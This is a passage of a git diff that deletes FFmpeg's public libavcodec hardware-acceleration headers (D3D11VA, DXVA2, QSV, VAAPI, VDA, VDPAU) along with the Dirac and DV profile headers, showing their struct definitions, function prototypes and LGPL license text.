Steve Lhomme - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_D3D11VA_H -#define AVCODEC_D3D11VA_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_d3d11va - * Public libavcodec D3D11VA header. - */ - -#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602 -#undef _WIN32_WINNT -#define _WIN32_WINNT 0x0602 -#endif - -#include -#include - -/** - * @defgroup lavc_codec_hwaccel_d3d11va Direct3D11 - * @ingroup lavc_codec_hwaccel - * - * @{ - */ - -#define FF_DXVA2_WORKAROUND_SCALING_LIST_ZIGZAG 1 ///< Work around for Direct3D11 and old UVD/UVD+ ATI video cards -#define FF_DXVA2_WORKAROUND_INTEL_CLEARVIDEO 2 ///< Work around for Direct3D11 and old Intel GPUs with ClearVideo interface - -/** - * This structure is used to provides the necessary configurations and data - * to the Direct3D11 FFmpeg HWAccel implementation. - * - * The application must make it available as AVCodecContext.hwaccel_context. - * - * Use av_d3d11va_alloc_context() exclusively to allocate an AVD3D11VAContext. - */ -typedef struct AVD3D11VAContext { - /** - * D3D11 decoder object - */ - ID3D11VideoDecoder *decoder; - - /** - * D3D11 VideoContext - */ - ID3D11VideoContext *video_context; - - /** - * D3D11 configuration used to create the decoder - */ - D3D11_VIDEO_DECODER_CONFIG *cfg; - - /** - * The number of surface in the surface array - */ - unsigned surface_count; - - /** - * The array of Direct3D surfaces used to create the decoder - */ - ID3D11VideoDecoderOutputView **surface; - - /** - * A bit field configuring the workarounds needed for using the decoder - */ - uint64_t workaround; - - /** - * Private to the FFmpeg AVHWAccel implementation - */ - unsigned report_id; - - /** - * Mutex to access video_context - */ - HANDLE context_mutex; -} AVD3D11VAContext; - -/** - * Allocate an AVD3D11VAContext. - * - * @return Newly-allocated AVD3D11VAContext or NULL on failure. - */ -AVD3D11VAContext *av_d3d11va_alloc_context(void); - -/** - * @} - */ - -#endif /* AVCODEC_D3D11VA_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/dirac.h b/desktop_3230/FFmpeg/include/libavcodec/dirac.h deleted file mode 100644 index e6d9d34..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/dirac.h +++ /dev/null @@ -1,131 +0,0 @@ -/* - * Copyright (C) 2007 Marco Gerards - * Copyright (C) 2009 David Conrad - * Copyright (C) 2011 Jordi Ortiz - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_DIRAC_H -#define AVCODEC_DIRAC_H - -/** - * @file - * Interface to Dirac Decoder/Encoder - * @author Marco Gerards - * @author David Conrad - * @author Jordi Ortiz - */ - -#include "avcodec.h" - -/** - * The spec limits the number of wavelet decompositions to 4 for both - * level 1 (VC-2) and 128 (long-gop default). - * 5 decompositions is the maximum before >16-bit buffers are needed. - * Schroedinger allows this for DD 9,7 and 13,7 wavelets only, limiting - * the others to 4 decompositions (or 3 for the fidelity filter). - * - * We use this instead of MAX_DECOMPOSITIONS to save some memory. - */ -#define MAX_DWT_LEVELS 5 - -/** - * Parse code values: - * - * Dirac Specification -> - * 9.6.1 Table 9.1 - * - * VC-2 Specification -> - * 10.4.1 Table 10.1 - */ - -enum DiracParseCodes { - DIRAC_PCODE_SEQ_HEADER = 0x00, - DIRAC_PCODE_END_SEQ = 0x10, - DIRAC_PCODE_AUX = 0x20, - DIRAC_PCODE_PAD = 0x30, - DIRAC_PCODE_PICTURE_CODED = 0x08, - DIRAC_PCODE_PICTURE_RAW = 0x48, - DIRAC_PCODE_PICTURE_LOW_DEL = 0xC8, - DIRAC_PCODE_PICTURE_HQ = 0xE8, - DIRAC_PCODE_INTER_NOREF_CO1 = 0x0A, - DIRAC_PCODE_INTER_NOREF_CO2 = 0x09, - DIRAC_PCODE_INTER_REF_CO1 = 0x0D, - DIRAC_PCODE_INTER_REF_CO2 = 0x0E, - DIRAC_PCODE_INTRA_REF_CO = 0x0C, - DIRAC_PCODE_INTRA_REF_RAW = 0x4C, - DIRAC_PCODE_INTRA_REF_PICT = 0xCC, - DIRAC_PCODE_MAGIC = 0x42424344, -}; - -typedef struct DiracVersionInfo { - int major; - int minor; -} DiracVersionInfo; - -typedef struct AVDiracSeqHeader { - unsigned width; - unsigned height; - uint8_t chroma_format; ///< 0: 444 1: 422 2: 420 - - uint8_t interlaced; - uint8_t top_field_first; - - uint8_t frame_rate_index; ///< index into dirac_frame_rate[] - uint8_t aspect_ratio_index; ///< index into dirac_aspect_ratio[] - - uint16_t clean_width; - uint16_t clean_height; - uint16_t clean_left_offset; - uint16_t clean_right_offset; - - uint8_t pixel_range_index; ///< index into dirac_pixel_range_presets[] - uint8_t color_spec_index; ///< index into dirac_color_spec_presets[] - - int profile; - int level; - - AVRational framerate; - AVRational sample_aspect_ratio; - - enum AVPixelFormat pix_fmt; - enum AVColorRange color_range; - enum AVColorPrimaries color_primaries; - enum AVColorTransferCharacteristic color_trc; - enum AVColorSpace colorspace; - - DiracVersionInfo version; - int bit_depth; -} AVDiracSeqHeader; - -/** - * Parse a Dirac sequence header. - * - * @param dsh this function will allocate and fill an AVDiracSeqHeader struct - * and write it into this pointer. The caller must free it with - * av_free(). - * @param buf the data buffer - * @param buf_size the size of the data buffer in bytes - * @param log_ctx if non-NULL, this function will log errors here - * @return 0 on success, a negative AVERROR code on failure - */ -int av_dirac_parse_sequence_header(AVDiracSeqHeader **dsh, - const uint8_t *buf, size_t buf_size, - void *log_ctx); - -#endif /* AVCODEC_DIRAC_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/dv_profile.h b/desktop_3230/FFmpeg/include/libavcodec/dv_profile.h deleted file mode 100644 index 9380a66..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/dv_profile.h +++ /dev/null @@ -1,83 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_DV_PROFILE_H -#define AVCODEC_DV_PROFILE_H - -#include - -#include "libavutil/pixfmt.h" -#include "libavutil/rational.h" -#include "avcodec.h" - -/* minimum number of bytes to read from a DV stream in order to - * determine the profile */ -#define DV_PROFILE_BYTES (6 * 80) /* 6 DIF blocks */ - - -/* - * AVDVProfile is used to express the differences between various - * DV flavors. For now it's primarily used for differentiating - * 525/60 and 625/50, but the plans are to use it for various - * DV specs as well (e.g. SMPTE314M vs. IEC 61834). - */ -typedef struct AVDVProfile { - int dsf; /* value of the dsf in the DV header */ - int video_stype; /* stype for VAUX source pack */ - int frame_size; /* total size of one frame in bytes */ - int difseg_size; /* number of DIF segments per DIF channel */ - int n_difchan; /* number of DIF channels per frame */ - AVRational time_base; /* 1/framerate */ - int ltc_divisor; /* FPS from the LTS standpoint */ - int height; /* picture height in pixels */ - int width; /* picture width in pixels */ - AVRational sar[2]; /* sample aspect ratios for 4:3 and 16:9 */ - enum AVPixelFormat pix_fmt; /* picture pixel format */ - int bpm; /* blocks per macroblock */ - const uint8_t *block_sizes; /* AC block sizes, in bits */ - int audio_stride; /* size of audio_shuffle table */ - int audio_min_samples[3]; /* min amount of audio samples */ - /* for 48kHz, 44.1kHz and 32kHz */ - int audio_samples_dist[5]; /* how many samples are supposed to be */ - /* in each frame in a 5 frames window */ - const uint8_t (*audio_shuffle)[9]; /* PCM shuffling table */ -} AVDVProfile; - -/** - * Get a DV profile for the provided compressed frame. - * - * @param sys the profile used for the previous frame, may be NULL - * @param frame the compressed data buffer - * @param buf_size size of the buffer in bytes - * @return the DV profile for the supplied data or NULL on failure - */ -const AVDVProfile *av_dv_frame_profile(const AVDVProfile *sys, - const uint8_t *frame, unsigned buf_size); - -/** - * Get a DV profile for the provided stream parameters. - */ -const AVDVProfile *av_dv_codec_profile(int width, int height, enum AVPixelFormat pix_fmt); - -/** - * Get a DV profile for the provided stream parameters. - * The frame rate is used as a best-effort parameter. - */ -const AVDVProfile *av_dv_codec_profile2(int width, int height, enum AVPixelFormat pix_fmt, AVRational frame_rate); - -#endif /* AVCODEC_DV_PROFILE_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/dxva2.h b/desktop_3230/FFmpeg/include/libavcodec/dxva2.h deleted file mode 100644 index 22c9399..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/dxva2.h +++ /dev/null @@ -1,93 +0,0 @@ -/* - * DXVA2 HW acceleration - * - * copyright (c) 2009 Laurent Aimar - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_DXVA2_H -#define AVCODEC_DXVA2_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_dxva2 - * Public libavcodec DXVA2 header. - */ - -#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602 -#undef _WIN32_WINNT -#define _WIN32_WINNT 0x0602 -#endif - -#include -#include -#include - -/** - * @defgroup lavc_codec_hwaccel_dxva2 DXVA2 - * @ingroup lavc_codec_hwaccel - * - * @{ - */ - -#define FF_DXVA2_WORKAROUND_SCALING_LIST_ZIGZAG 1 ///< Work around for DXVA2 and old UVD/UVD+ ATI video cards -#define FF_DXVA2_WORKAROUND_INTEL_CLEARVIDEO 2 ///< Work around for DXVA2 and old Intel GPUs with ClearVideo interface - -/** - * This structure is used to provides the necessary configurations and data - * to the DXVA2 FFmpeg HWAccel implementation. - * - * The application must make it available as AVCodecContext.hwaccel_context. - */ -struct dxva_context { - /** - * DXVA2 decoder object - */ - IDirectXVideoDecoder *decoder; - - /** - * DXVA2 configuration used to create the decoder - */ - const DXVA2_ConfigPictureDecode *cfg; - - /** - * The number of surface in the surface array - */ - unsigned surface_count; - - /** - * The array of Direct3D surfaces used to create the decoder - */ - LPDIRECT3DSURFACE9 *surface; - - /** - * A bit field configuring the workarounds needed for using the decoder - */ - uint64_t workaround; - - /** - * Private to the FFmpeg AVHWAccel implementation - */ - unsigned report_id; -}; - -/** - * @} - */ - -#endif /* AVCODEC_DXVA2_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/qsv.h b/desktop_3230/FFmpeg/include/libavcodec/qsv.h deleted file mode 100644 index b77158e..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/qsv.h +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Intel MediaSDK QSV public API - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_QSV_H -#define AVCODEC_QSV_H - -#include - -#include "libavutil/buffer.h" - -/** - * This struct is used for communicating QSV parameters between libavcodec and - * the caller. It is managed by the caller and must be assigned to - * AVCodecContext.hwaccel_context. - * - decoding: hwaccel_context must be set on return from the get_format() - * callback - * - encoding: hwaccel_context must be set before avcodec_open2() - */ -typedef struct AVQSVContext { - /** - * If non-NULL, the session to use for encoding or decoding. - * Otherwise, libavcodec will try to create an internal session. - */ - mfxSession session; - - /** - * The IO pattern to use. - */ - int iopattern; - - /** - * Extra buffers to pass to encoder or decoder initialization. - */ - mfxExtBuffer **ext_buffers; - int nb_ext_buffers; - - /** - * Encoding only. If this field is set to non-zero by the caller, libavcodec - * will create an mfxExtOpaqueSurfaceAlloc extended buffer and pass it to - * the encoder initialization. This only makes sense if iopattern is also - * set to MFX_IOPATTERN_IN_OPAQUE_MEMORY. - * - * The number of allocated opaque surfaces will be the sum of the number - * required by the encoder and the user-provided value nb_opaque_surfaces. - * The array of the opaque surfaces will be exported to the caller through - * the opaque_surfaces field. - */ - int opaque_alloc; - - /** - * Encoding only, and only if opaque_alloc is set to non-zero. Before - * calling avcodec_open2(), the caller should set this field to the number - * of extra opaque surfaces to allocate beyond what is required by the - * encoder. - * - * On return from avcodec_open2(), this field will be set by libavcodec to - * the total number of allocated opaque surfaces. - */ - int nb_opaque_surfaces; - - /** - * Encoding only, and only if opaque_alloc is set to non-zero. On return - * from avcodec_open2(), this field will be used by libavcodec to export the - * array of the allocated opaque surfaces to the caller, so they can be - * passed to other parts of the pipeline. - * - * The buffer reference exported here is owned and managed by libavcodec, - * the callers should make their own reference with av_buffer_ref() and free - * it with av_buffer_unref() when it is no longer needed. - * - * The buffer data is an nb_opaque_surfaces-sized array of mfxFrameSurface1. - */ - AVBufferRef *opaque_surfaces; - - /** - * Encoding only, and only if opaque_alloc is set to non-zero. On return - * from avcodec_open2(), this field will be set to the surface type used in - * the opaque allocation request. - */ - int opaque_alloc_type; -} AVQSVContext; - -/** - * Allocate a new context. - * - * It must be freed by the caller with av_free(). - */ -AVQSVContext *av_qsv_alloc_context(void); - -#endif /* AVCODEC_QSV_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/vaapi.h b/desktop_3230/FFmpeg/include/libavcodec/vaapi.h deleted file mode 100644 index 7a29f6f..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/vaapi.h +++ /dev/null @@ -1,189 +0,0 @@ -/* - * Video Acceleration API (shared data between FFmpeg and the video player) - * HW decode acceleration for MPEG-2, MPEG-4, H.264 and VC-1 - * - * Copyright (C) 2008-2009 Splitted-Desktop Systems - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_VAAPI_H -#define AVCODEC_VAAPI_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_vaapi - * Public libavcodec VA API header. - */ - -#include -#include "libavutil/attributes.h" -#include "version.h" - -/** - * @defgroup lavc_codec_hwaccel_vaapi VA API Decoding - * @ingroup lavc_codec_hwaccel - * @{ - */ - -/** - * This structure is used to share data between the FFmpeg library and - * the client video application. - * This shall be zero-allocated and available as - * AVCodecContext.hwaccel_context. All user members can be set once - * during initialization or through each AVCodecContext.get_buffer() - * function call. In any case, they must be valid prior to calling - * decoding functions. - */ -struct vaapi_context { - /** - * Window system dependent data - * - * - encoding: unused - * - decoding: Set by user - */ - void *display; - - /** - * Configuration ID - * - * - encoding: unused - * - decoding: Set by user - */ - uint32_t config_id; - - /** - * Context ID (video decode pipeline) - * - * - encoding: unused - * - decoding: Set by user - */ - uint32_t context_id; - -#if FF_API_VAAPI_CONTEXT - /** - * VAPictureParameterBuffer ID - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - uint32_t pic_param_buf_id; - - /** - * VAIQMatrixBuffer ID - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - uint32_t iq_matrix_buf_id; - - /** - * VABitPlaneBuffer ID (for VC-1 decoding) - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - uint32_t bitplane_buf_id; - - /** - * Slice parameter/data buffer IDs - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - uint32_t *slice_buf_ids; - - /** - * Number of effective slice buffer IDs to send to the HW - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - unsigned int n_slice_buf_ids; - - /** - * Size of pre-allocated slice_buf_ids - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - unsigned int slice_buf_ids_alloc; - - /** - * Pointer to VASliceParameterBuffers - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - void *slice_params; - - /** - * Size of a VASliceParameterBuffer element - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - unsigned int slice_param_size; - - /** - * Size of pre-allocated slice_params - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - unsigned int slice_params_alloc; - - /** - * Number of slices currently filled in - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - unsigned int slice_count; - - /** - * Pointer to slice data buffer base - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - const uint8_t *slice_data; - - /** - * Current size of slice data - * - * - encoding: unused - * - decoding: Set by libavcodec - */ - attribute_deprecated - uint32_t slice_data_size; -#endif -}; - -/* @} */ - -#endif /* AVCODEC_VAAPI_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/vda.h b/desktop_3230/FFmpeg/include/libavcodec/vda.h deleted file mode 100644 index bde14e3..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/vda.h +++ /dev/null @@ -1,230 +0,0 @@ -/* - * VDA HW acceleration - * - * copyright (c) 2011 Sebastien Zwickert - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_VDA_H -#define AVCODEC_VDA_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_vda - * Public libavcodec VDA header. - */ - -#include "libavcodec/avcodec.h" - -#include - -// emmintrin.h is unable to compile with -std=c99 -Werror=missing-prototypes -// http://openradar.appspot.com/8026390 -#undef __GNUC_STDC_INLINE__ - -#define Picture QuickdrawPicture -#include -#undef Picture - -#include "libavcodec/version.h" - -// extra flags not defined in VDADecoder.h -enum { - kVDADecodeInfo_Asynchronous = 1UL << 0, - kVDADecodeInfo_FrameDropped = 1UL << 1 -}; - -/** - * @defgroup lavc_codec_hwaccel_vda VDA - * @ingroup lavc_codec_hwaccel - * - * @{ - */ - -/** - * This structure is used to provide the necessary configurations and data - * to the VDA FFmpeg HWAccel implementation. - * - * The application must make it available as AVCodecContext.hwaccel_context. - */ -struct vda_context { - /** - * VDA decoder object. - * - * - encoding: unused - * - decoding: Set/Unset by libavcodec. - */ - VDADecoder decoder; - - /** - * The Core Video pixel buffer that contains the current image data. - * - * encoding: unused - * decoding: Set by libavcodec. Unset by user. - */ - CVPixelBufferRef cv_buffer; - - /** - * Use the hardware decoder in synchronous mode. - * - * encoding: unused - * decoding: Set by user. - */ - int use_sync_decoding; - - /** - * The frame width. - * - * - encoding: unused - * - decoding: Set/Unset by user. - */ - int width; - - /** - * The frame height. - * - * - encoding: unused - * - decoding: Set/Unset by user. - */ - int height; - - /** - * The frame format. - * - * - encoding: unused - * - decoding: Set/Unset by user. - */ - int format; - - /** - * The pixel format for output image buffers. - * - * - encoding: unused - * - decoding: Set/Unset by user. - */ - OSType cv_pix_fmt_type; - - /** - * unused - */ - uint8_t *priv_bitstream; - - /** - * unused - */ - int priv_bitstream_size; - - /** - * unused - */ - int priv_allocated_size; - - /** - * Use av_buffer to manage buffer. - * When the flag is set, the CVPixelBuffers returned by the decoder will - * be released automatically, so you have to retain them if necessary. - * Not setting this flag may cause memory leak. - * - * encoding: unused - * decoding: Set by user. - */ - int use_ref_buffer; -}; - -/** Create the video decoder. */ -int ff_vda_create_decoder(struct vda_context *vda_ctx, - uint8_t *extradata, - int extradata_size); - -/** Destroy the video decoder. */ -int ff_vda_destroy_decoder(struct vda_context *vda_ctx); - -/** - * This struct holds all the information that needs to be passed - * between the caller and libavcodec for initializing VDA decoding. - * Its size is not a part of the public ABI, it must be allocated with - * av_vda_alloc_context() and freed with av_free(). - */ -typedef struct AVVDAContext { - /** - * VDA decoder object. Created and freed by the caller. - */ - VDADecoder decoder; - - /** - * The output callback that must be passed to VDADecoderCreate. - * Set by av_vda_alloc_context(). - */ - VDADecoderOutputCallback output_callback; - - /** - * CVPixelBuffer Format Type that VDA will use for decoded frames; set by - * the caller. - */ - OSType cv_pix_fmt_type; -} AVVDAContext; - -/** - * Allocate and initialize a VDA context. - * - * This function should be called from the get_format() callback when the caller - * selects the AV_PIX_FMT_VDA format. The caller must then create the decoder - * object (using the output callback provided by libavcodec) that will be used - * for VDA-accelerated decoding. - * - * When decoding with VDA is finished, the caller must destroy the decoder - * object and free the VDA context using av_free(). - * - * @return the newly allocated context or NULL on failure - */ -AVVDAContext *av_vda_alloc_context(void); - -/** - * This is a convenience function that creates and sets up the VDA context using - * an internal implementation. - * - * @param avctx the corresponding codec context - * - * @return >= 0 on success, a negative AVERROR code on failure - */ -int av_vda_default_init(AVCodecContext *avctx); - -/** - * This is a convenience function that creates and sets up the VDA context using - * an internal implementation. - * - * @param avctx the corresponding codec context - * @param vdactx the VDA context to use - * - * @return >= 0 on success, a negative AVERROR code on failure - */ -int av_vda_default_init2(AVCodecContext *avctx, AVVDAContext *vdactx); - -/** - * This function must be called to free the VDA context initialized with - * av_vda_default_init(). - * - * @param avctx the corresponding codec context - */ -void av_vda_default_free(AVCodecContext *avctx); - -/** - * @} - */ - -#endif /* AVCODEC_VDA_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/vdpau.h b/desktop_3230/FFmpeg/include/libavcodec/vdpau.h deleted file mode 100644 index e85e4d9..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/vdpau.h +++ /dev/null @@ -1,253 +0,0 @@ -/* - * The Video Decode and Presentation API for UNIX (VDPAU) is used for - * hardware-accelerated decoding of MPEG-1/2, H.264 and VC-1. - * - * Copyright (C) 2008 NVIDIA - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_VDPAU_H -#define AVCODEC_VDPAU_H - -/** - * @file - * @ingroup lavc_codec_hwaccel_vdpau - * Public libavcodec VDPAU header. - */ - - -/** - * @defgroup lavc_codec_hwaccel_vdpau VDPAU Decoder and Renderer - * @ingroup lavc_codec_hwaccel - * - * VDPAU hardware acceleration has two modules - * - VDPAU decoding - * - VDPAU presentation - * - * The VDPAU decoding module parses all headers using FFmpeg - * parsing mechanisms and uses VDPAU for the actual decoding. - * - * As per the current implementation, the actual decoding - * and rendering (API calls) are done as part of the VDPAU - * presentation (vo_vdpau.c) module. - * - * @{ - */ - -#include -#include -#include "libavutil/avconfig.h" -#include "libavutil/attributes.h" - -#include "avcodec.h" -#include "version.h" - -#if FF_API_BUFS_VDPAU -union AVVDPAUPictureInfo { - VdpPictureInfoH264 h264; - VdpPictureInfoMPEG1Or2 mpeg; - VdpPictureInfoVC1 vc1; - VdpPictureInfoMPEG4Part2 mpeg4; -}; -#endif - -struct AVCodecContext; -struct AVFrame; - -typedef int (*AVVDPAU_Render2)(struct AVCodecContext *, struct AVFrame *, - const VdpPictureInfo *, uint32_t, - const VdpBitstreamBuffer *); - -/** - * This structure is used to share data between the libavcodec library and - * the client video application. - * The user shall allocate the structure via the av_alloc_vdpau_hwaccel - * function and make it available as - * AVCodecContext.hwaccel_context. Members can be set by the user once - * during initialization or through each AVCodecContext.get_buffer() - * function call. In any case, they must be valid prior to calling - * decoding functions. - * - * The size of this structure is not a part of the public ABI and must not - * be used outside of libavcodec. Use av_vdpau_alloc_context() to allocate an - * AVVDPAUContext. - */ -typedef struct AVVDPAUContext { - /** - * VDPAU decoder handle - * - * Set by user. - */ - VdpDecoder decoder; - - /** - * VDPAU decoder render callback - * - * Set by the user. - */ - VdpDecoderRender *render; - -#if FF_API_BUFS_VDPAU - /** - * VDPAU picture information - * - * Set by libavcodec. - */ - attribute_deprecated - union AVVDPAUPictureInfo info; - - /** - * Allocated size of the bitstream_buffers table. - * - * Set by libavcodec. - */ - attribute_deprecated - int bitstream_buffers_allocated; - - /** - * Useful bitstream buffers in the bitstream buffers table. - * - * Set by libavcodec. - */ - attribute_deprecated - int bitstream_buffers_used; - - /** - * Table of bitstream buffers. - * The user is responsible for freeing this buffer using av_freep(). - * - * Set by libavcodec. - */ - attribute_deprecated - VdpBitstreamBuffer *bitstream_buffers; -#endif - AVVDPAU_Render2 render2; -} AVVDPAUContext; - -/** - * @brief allocation function for AVVDPAUContext - * - * Allows extending the struct without breaking API/ABI - */ -AVVDPAUContext *av_alloc_vdpaucontext(void); - -AVVDPAU_Render2 av_vdpau_hwaccel_get_render2(const AVVDPAUContext *); -void av_vdpau_hwaccel_set_render2(AVVDPAUContext *, AVVDPAU_Render2); - -/** - * Associate a VDPAU device with a codec context for hardware acceleration. - * This function is meant to be called from the get_format() codec callback, - * or earlier. It can also be called after avcodec_flush_buffers() to change - * the underlying VDPAU device mid-stream (e.g. to recover from non-transparent - * display preemption). - * - * @note get_format() must return AV_PIX_FMT_VDPAU if this function completes - * successfully. - * - * @param avctx decoding context whose get_format() callback is invoked - * @param device VDPAU device handle to use for hardware acceleration - * @param get_proc_address VDPAU device driver - * @param flags zero of more OR'd AV_HWACCEL_FLAG_* flags - * - * @return 0 on success, an AVERROR code on failure. - */ -int av_vdpau_bind_context(AVCodecContext *avctx, VdpDevice device, - VdpGetProcAddress *get_proc_address, unsigned flags); - -/** - * Gets the parameters to create an adequate VDPAU video surface for the codec - * context using VDPAU hardware decoding acceleration. - * - * @note Behavior is undefined if the context was not successfully bound to a - * VDPAU device using av_vdpau_bind_context(). - * - * @param avctx the codec context being used for decoding the stream - * @param type storage space for the VDPAU video surface chroma type - * (or NULL to ignore) - * @param width storage space for the VDPAU video surface pixel width - * (or NULL to ignore) - * @param height storage space for the VDPAU video surface pixel height - * (or NULL to ignore) - * - * @return 0 on success, a negative AVERROR code on failure. - */ -int av_vdpau_get_surface_parameters(AVCodecContext *avctx, VdpChromaType *type, - uint32_t *width, uint32_t *height); - -/** - * Allocate an AVVDPAUContext. - * - * @return Newly-allocated AVVDPAUContext or NULL on failure. - */ -AVVDPAUContext *av_vdpau_alloc_context(void); - -#if FF_API_VDPAU_PROFILE -/** - * Get a decoder profile that should be used for initializing a VDPAU decoder. - * Should be called from the AVCodecContext.get_format() callback. - * - * @deprecated Use av_vdpau_bind_context() instead. - * - * @param avctx the codec context being used for decoding the stream - * @param profile a pointer into which the result will be written on success. - * The contents of profile are undefined if this function returns - * an error. - * - * @return 0 on success (non-negative), a negative AVERROR on failure. - */ -attribute_deprecated -int av_vdpau_get_profile(AVCodecContext *avctx, VdpDecoderProfile *profile); -#endif - -#if FF_API_CAP_VDPAU -/** @brief The videoSurface is used for rendering. */ -#define FF_VDPAU_STATE_USED_FOR_RENDER 1 - -/** - * @brief The videoSurface is needed for reference/prediction. - * The codec manipulates this. - */ -#define FF_VDPAU_STATE_USED_FOR_REFERENCE 2 - -/** - * @brief 